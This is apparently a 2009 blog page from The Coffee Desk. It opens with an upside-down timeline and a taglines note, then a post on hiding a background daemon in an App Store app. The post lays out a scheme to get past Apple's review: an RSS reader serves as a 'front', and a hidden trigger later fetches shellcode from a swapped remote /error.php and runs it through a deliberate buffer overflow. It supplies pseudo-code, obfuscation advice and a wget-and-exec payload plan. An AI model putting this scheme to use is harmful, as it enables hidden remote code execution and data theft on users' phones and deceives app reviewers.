ǝlddɐ ɯoɹɟ lıɐɯǝ uʍopǝʞɐʇ ɐ sǝsnɐɔ ʇǝlqɐʇ ǝlddɐ uo ǝlɔıʇɹɐ :2 ʎɐɯ

ɹǝʇʇıʍʇ sʇıɥ ʞsǝp ǝǝɟɟoɔ ǝɥʇ :92 lıɹdɐ

oǝs puɐ pǝǝds ɹoɟ pǝzıɯıʇdo ǝʇıs ‘pǝɥɔunɐl ǝƃɐd “sǝlɔıʇɹɐ doʇ” :62 lıɹdɐ

ʎʇılɐnb ɟo ssol ʇnoɥʇıʍ puɐ ʎʇılıqıpǝɹɔ ɥɔǝʇ ƃuıuıɐʇǝɹ ǝlıɥʍ ’sǝlɔıʇɹɐ s,ʞsǝp ǝǝɟɟoɔ ǝɥʇ uıɥʇıʍ uǝǝs sı sǝlɔıʇɹɐ snoɹoɯnɥ ǝɹoɯ spɹɐʍoʇ ʇɟıɥs ʇɥƃıls ɐ :lıɹdɐ

ʎɹʇsnpuı ɥɔǝʇ ǝɥʇ uıɥʇıʍ sʇuǝʌǝ ɟo ʞɔɐl puɐ sǝlnpǝɥɔs ƃuıʇɔılɟuoɔ oʇ ǝnp uʍopʍols ǝʇɐɹ ɥsılqnd ǝlɔıʇɹɐ ɹoɾɐɯ :ɥɔɹɐɯ-ʎɹɐnɹqǝɟ

ƃƃǝ ɹǝʇsɐǝ uɐ sɐ ǝʇıs ǝɥʇ ɟo doʇ ǝɥʇ ʇɐ pɹɐoqʎǝʞ ǝɥʇ oʇ pǝppɐ ʎpoɹɐd ʇɥƃılʇods “ʇɥƃılʇou” :52 ɹǝqɯǝʌou

ǝlɔıʇɹɐ ʇsɹıɟ s,uǝɥdǝʇs ɹoɥʇnɐ :21 ɹǝqoʇɔo

uʍop ƃuıoƃ ɯoɹɟ ǝʇıs ǝɥʇ sʇuǝʌǝɹd ǝpɐɹƃdn ɹǝʌɹǝs ‘ǝɯıʇ ǝɯɐs ǝɥʇ ʇɐ ƃƃnp puɐ pǝʇʇopɥsɐls ʞsǝp ǝǝɟɟoɔ ǝɥʇ :11 ɹǝqoʇɔo

ʇlnsǝɹ ɐ sɐ uʍop ʞsǝp ǝǝɟɟoɔ ǝɥʇ ‘pǝʞɔɐɥ ʞɹoʍʇǝu ssǝuısnq ʇsɐɔɯoɔ :92-72 ɹǝqɯǝʇdǝs

“ǝʇıs ɯɐds” ɐ sɐ ʎlǝslɐɟ ǝǝɟɐɔɯ ʎq pǝƃƃɐlɟ ʞsǝp ǝǝɟɟoɔ ǝɥʇ :52 ɹǝqɯǝʇdǝs

ǝlɔıʇɹɐ ʇsɹıɟ s,ʞɹɐɯ ɹoɥʇnɐ :42 ɹǝqɯǝʇdǝs

ɹɐʍ ǝɯɐlɟ ɐ sǝsnɐɔ slıɐɹ uo ʎqnɹ ƃuıɥsɐq ǝlɔıʇɹɐ uɐ ‘ƃuıʇʇopɥsɐls ǝɥʇ ɟo ǝʞɐʍ ǝɥʇ uı :32 ɹǝqɯǝʇdǝs

˙ɟlɐɥ puɐ ʎɐp ɐ ɹoɟ uʍop ǝʇıs ǝɥʇ ǝʞɐʇ oʇ (ǝɔuo ʇɐ ǝʇıs ǝɥʇ ƃuıʇʇıɥ sɹǝsn ɟo spuɐsnoɥʇ) “ʇɔǝɟɟǝ ʇopɥsɐls” ǝɥʇ ƃuısnɐɔ ‘ƃɹo˙ʇopɥsɐls ʎq oʇ pǝʞuıl sı ʞsǝp ǝǝɟɟoɔ ǝɥʇ :02 ɹǝqɯǝʇdǝs

pǝɥsılqnd ǝlɔıʇɹɐ ʇsɹıɟ s,3ʇɹǝ ɹoɥʇnɐ ‘ʇuǝɯɯoɔ ɯɐds-uou ʇsɹıɟ :51 ɹǝqɯǝʇdǝs

˙pǝʇɐǝɹɔ sı ǝƃɐd “sn ʇnoqɐ” ǝɥʇ puɐ ǝlɔıʇɹɐ ʇsɹıɟ ˙(ʞɔɐq puɐ llǝɥ oʇ pǝʞɔɐɥ puɐ) pǝllɐʇsuı ssǝɹdpɹoʍ ‘dn ʇǝs ɹǝʌɹǝs qǝʍ ‘pǝsɐɥɔɹnd sı ǝɯɐu uıɐɯop ˙ǝʇısqǝʍ sʍǝu ʞǝǝƃ ɐ ʇɹɐʇs oʇ sǝpıɔǝp puɐ pǝɹoq sı ǝlıƃɹɐɔ ʎuoɥʇuɐ :41 ɹǝqɯǝʇdǝs

ʇsod ɥʇ001 ɹno ƃuıʇɐɹqǝlǝɔ originally appeared on The Coffee Desk on August 16, 2009.

It’s honestly nothing but a snarky one-line commentary that usually reflects something the last few recent articles discuss. For example, the first motto was, “Pissing off both Nintendo and Microsoft Fanboys everywhere! ” because the two most recent stories at the time were this and this.

They don’t mean anything; just a bit of humor to go where most sites usually put a tagline of some sort, or as a parody of the “what you need, when you need it” cybersquatter tagline.

Don’t be offended by any of them – this isn’t a general “motto complaints page”, although I’m always ready to hear feedback. They also sporadically change from time to time – nothing is static.

The Coffee Desk Taglines originally appeared on The Coffee Desk on August 7, 2009.

This method includes some advanced programming topics, such as shellcode and therefore requires some basic assembly experience, Unix system call knowledge, and optimally some ARM experience.

Obligatory Disclaimer

This is a theory and therefore only published for experimental purposes – don’t actually implement any of these methods unless you have money for a lawyer or otherwise wish to royally piss off Apple. I’m not responsible if you break something.

If you don’t know what you’re doing, then don’t do it.

Overview

Right. With the disclaimer out of the way, let’s talk about what exactly we want to accomplish and the obstacles we face in trying to do this:

• Write an app that runs a background app/daemon on the iPhone
• Avoid detection by Apple via code obfuscation
• Get the app on the app store
• …and don’t get sued in the process

Don’t Get Caught

Running a background daemon in any Unix-based OS is not very hard, but trying to do it on Apple’s beloved (and thoroughly locked-down) iPhone OS without jailbreaking it first is going to be difficult without some fancy code obfuscation.

But, that said, there is a will and there is a way.

The Basic Example

So let’s say we want a background app that (for the sake of example) logs the time and date to a file every hour on the hour, even while running another app in the foreground. We’ll call it “Logger”, because I lack nomenclature creativity.

The aim for the app is to run in the background and log to a text file, presumably stored within the default Logger.app directory. But, Apple frowns on running apps in the background, so this is where creativity and psychology comes into play.

We know what we want to do, but we don’t want Apple to know what we want to do. So before we go any further, let’s talk about what Apple sees when they review the app.

Knowing What Apple Is Looking For

When you upload your application to Apple via iTunes connect and it’s “in review”, Apple tears the app apart.

I’m talking disassembly, I/O monitoring, CPU usage monitoring, and detailed network analysis. They will know every Darwin/Mach system call your application is making, and the conditional logic behind them.

(For a detailed diagram of how these compare with the iPhone SDK and the Objective-C runtime, refer to this post by yours truly, which provides a detailed overview of the iPhone architecture.)

So putting any of your daemon’s desired background code within your app as it goes up for review is a bad idea. The system calls and nature of the code will surely raise a red flag during review and they’ll pull the app (and note the action on your developer profile).

But, with a little trickery, we can still get the app to pass through Apple as “legit” while accomplishing what we wish to after app approval.

The Front

If we just submit a raw-dog app that does nothing but loop a function that looks suspiciously like a daemon, even all the obfuscation in the world won’t hide what we’re trying to get away with.

Furthermore, it would not be a “true” background process since the app terminates itself to yield to others eventually upon the press of the menu button (effectively killing all execution and child processes).

So, let’s introduce a “front”. Ever watched the Godfather or a similar mafia movie? Fronts were those small businesses that were merely a legitimate-looking, money-laundering front to a gambling or alcohol racket. And that’s exactly what this app needs to be in order to hide what’s really going on behind the scenes.

The “front” in our app will be a web view and RSS feed client. We’re going to make it look like our app simply displays a simple web view that follows a link from an RSS feed, with some custom logos around it and all to make it look legit. Simple enough, right?

The Switch

So our app currently appears to be a simple RSS client that opens up a web view from the news feed of our website. And that’s exactly what it will do, until we make the “switch” for it to do what we intended for it to do all along.

The “trigger” for this is relatively simple: within the RSS client, put in a conditional that appears along the lines of this pseudo-code:

if (RSS feed is a redirect to /error.php) { // error.php is our remote and malicious script
NSString *fake = [NSString initWithString:@"There's an error"]; // Unused; Look genuine to Apple
// code to make the switch, detailed below
return;
}
// "else" continue happily as the simpleton RSS/UIWebView app

The aim here is this: after Apple approves the simple RSS client app and it hits the store, we can manually redirect the RSS feed to /error.php, thus satisfying the condition and making the switch.

Leaving out the else makes it less obvious that we’re changing the course of the app if the condition is satisfied, with the return statement doing the else’s job just the same (and obfuscated at the assembly level).

The unused NSString within the satisfied error conditional is to make it look like we’re going to really handle an error, as Apple would see it during the inspection process.

So, how do we do this almighty “switch”? This is the tricky part…

Implementing The Switch

Switching from a “dumb” RSS reader to the initialization of a Unix daemon is no easy task to hide from Apple, so we have to get really creative. The solution is to use Shellcode, which is a set of executable (ARM) opcodes placed into “read-only” buffer and executed.

Refer to this paper to brush up on shellcode implementation. The opcodes in the guide are for x86, but a cross-compiler would allow easy development of an ARM executable for what you desire.

So we’d make our /error.php webpage return some ARM opcodes, and “accidentally” execute them on the iPhone like this:

// beginning where we left off...
if (RSS feed is a redirect to /error.php) {
NSString *fake = [NSString initWithString:@"There's an error"]; // Unused; Look genuine to Apple
// switch code:
char exe[1][BUF]; // Array of C-strings, each of size BUF (defined elsewhere)
exe[0] = http_read('site.com/error.php'); // more on this below
/* appear to do something with exe[0], then: */
        int (*sh)(); // setup shellcode function pointer
        ret = (sh(*)())exe[1]; // *oops*
        (int)(*ret)(); // could even be obfuscated even further; details below
return;
}

That was the unobfuscated version of what aims to execute code retrieved from our php script, error.php:

So the error.php that was valid during app review gets changed to the now-malicious script above upon the app’s deployment on the app store, and the app insecurely reads the octets returned from it into a buffer. The for loop fills up exe[0], then exe[1] gets the executable “payload” code that we run on the device.

This can be a shell, the daemon itself, or a downloader for the actual daemon (as I describe below).

How It All Comes Together

The app is published as a generic RSS and UIWebView client, but after app store approval, a change made on the remote server (redirecting the RSS feed to the newly malicious /error.php) makes the iPhone app discreetly execute any code you wish via an obfuscated shellcode trick and an “accidental” buffer overflow.

The C code I provided above was not obfuscated enough, and would more than likely raise a red flag for your app during approval. Obfuscate it more with a purposely-insecure sprintf() function misuse or mixing valid and invalid uses of function pointers within your code to mask the switch even more.

Also, if your **exe string gets placed into a read-only stack section of the resulting executable, you may have to do some manual assembly editing and linking.

Shellcode contents

As for the shellcode itself, I recommend this: have error.php provide the shellcode of `wget ` and `exec()`, where the file in question is a precompiled ARM executable that you wish to run in the background.

This circumvents having to use any of your daemon’s code within your app (visible by Apple eyes), and also allows a stealthier way of doing what you want to go unnoticed.

In the case of our “Logger” example, the shellcode would download a precompiled ARM executable that does what we want it to do, and the shellcode downloaded from error.php would be the opcode-representation of the following pseudo-code:

if(the ARM executable is already present):
execute it // system("./logger &"); <- the '&' is bourne for "background"
else:
download the logger executable from the server and execute it in the background

Even better, you can change error.php's shellcode to do something else later. Beat the two week app store update review process, doesn't it?

Final Notes

This is a very hackish way to execute whatever code you want on an iPhone without jailbreaking it (and even distributing it via the app store!)

Just remember: provide a pretty good front so Apple thinks its a legitimate program, and obfuscate your intentions however you can. Provide real-looking strings that make it look like the "error handler" (A.K.A. "switch" as I called it here) look like a non-malicious piece of code.

Security specialists are going to die when they read this. This clearly details how to run any code you wish within the background of the iPhone, and even do so via the app store.

So if Johhny Blackhat wants your iCal entries, all he's got to do is write up some shellcode to get it, have a free game on the app store download and execute it while you play his "game".

I wouldn't be surprised if I'm not the first one to think of this, or if people have been doing this already.

The biggest thing is having the ability to change the entire app's execution based on a remote change. This is key in allowing the app to look legit during approval, yet allowing your dirty work to continue once it goes live on the App Store.

And with so many apps out there, nobody at Apple will have time to verify that all of them are legit.

Just remember: I'll take credit for being the first to realize and publish how to implement this, but I don't accept any responsibility for how people use/misue this

iPhone Background Apps Without Jailbreaking Or Push originally appeared on The Coffee Desk on August 6, 2009.